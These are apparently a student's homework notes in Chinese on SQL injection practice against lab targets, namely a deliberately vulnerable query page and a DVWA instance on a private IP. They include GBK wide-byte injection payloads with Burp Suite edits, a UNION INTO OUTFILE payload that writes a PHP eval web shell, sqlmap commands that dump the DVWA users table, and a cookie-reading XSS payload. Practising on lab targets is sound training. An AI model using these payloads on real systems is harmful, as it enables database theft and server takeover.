网络安全【C10-2024.10.1】-sql注入基础

1、利用宽字节注入实现“库名-表名”的注入过程，写清楚注入步骤；

宽字节概念
1、如果一个字符的大小是一个字节的，称为窄字节；
2、如果一个字符的大小是两个及以上字节的，称为宽字节；像GB2312、GBK、GB18030、BIG5、Shift_JIS等编码都是常见的宽字节字符集。英文默认占一个字节，中文占两个字节。

宽字节注入原理
宽字节注入利用MySQL的一个特性，使用GBK编码的时候，会认为两个字符是一个汉字。

注入过程变化举例：
%df%27 ===> addslashes函数 ===> %df%5c%27 ===> 数据库GBK ===> 運'

kobe   #正常查询
kobe' or 1=1 #尝试一般性kobe%df' or 1=1 #注入
kobe%df\' or 1=1 #转义防护下的提交：kobe%df%5c%27 or 1=1 #

kobe%df' or 1=1 #burpsuite 拦截删除5c，    百分号转换为%25，斜杠转换为%5c，单引号转换后%27

burpsuite 拦截修改提交：
name=kobe%25df%27+or+1%3D1+%23&submit=%E6%9F%A5%E8%AF%A2  ---> name=kobe%df%27+or+1%3D1+%23&submit=%E6%9F%A5%E8%AF%A2

后端补充%5c将变成：kobe%df%5c%27 or 1=1 # 在为GBK编码 df 5c 運，所以后端真正提交的是kobe運'or 1=1 #

https://blog.csdn.net/qwq1503/article/details/125664874  GBK汉字编码表

2、利用SQL注入实现DVWA站点的Getshell，写清楚攻击步骤；

select 1,2 into outfile
-1' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell2.php

http://192.168.101.41:8080/shell2.php

3、使用Sqlmap工具完成对DVWA数据库的注入过程，要求按照库、表、列、内容的顺序进行注入；

python sqlmap.py -u "http://192.168.101.41:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="PHPSESSID=ajfoa0upur9v2v9tbcipc5lte7; security=low" --batch --dbs

python sqlmap.py -u "http://192.168.101.41:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="PHPSESSID=ajfoa0upur9v2v9tbcipc5lte7; security=low" --batch -D "dvwa" -tables

python sqlmap.py -u "http://192.168.101.41:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="PHPSESSID=ajfoa0upur9v2v9tbcipc5lte7; security=low" --batch -D "dvwa" -T "users" --columns

python sqlmap.py -u "http://192.168.101.41:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="PHPSESSID=ajfoa0upur9v2v9tbcipc5lte7; security=low" --batch -D "dvwa" -T "users" -C user,password --dump

--batch 命令来自动答复和判断
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--dump 转储数据库表项，即下载
-u URL 目标URL
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举

4、完成DVWA靶场存储型XSS的漏洞练习。

xss也是一种注入，是一种跨站脚本注入
XSS的三种类型与区分
1.反射性
也就是通过让用户点击事先准备好的URL，之后保存用户的cookie，之后用用户的cookie去登陆了网站，事先xss攻击
<script>alert(document.cookie);</script>

2.存储型
会把用户输入的数据存储在服务器端中，这种xss攻击可以持久化，并且更加稳定。

代码已经被内嵌进去了，最大的好处：就在于攻击者不需要和用户交互

3.DOM型xss
HTML DOM定义了访问和操作HTML文档的标准方法。意思就是修改html的文档代码，在你打开文档的时候，就会自动执行代码中的内容，其本质和反射型是一样的。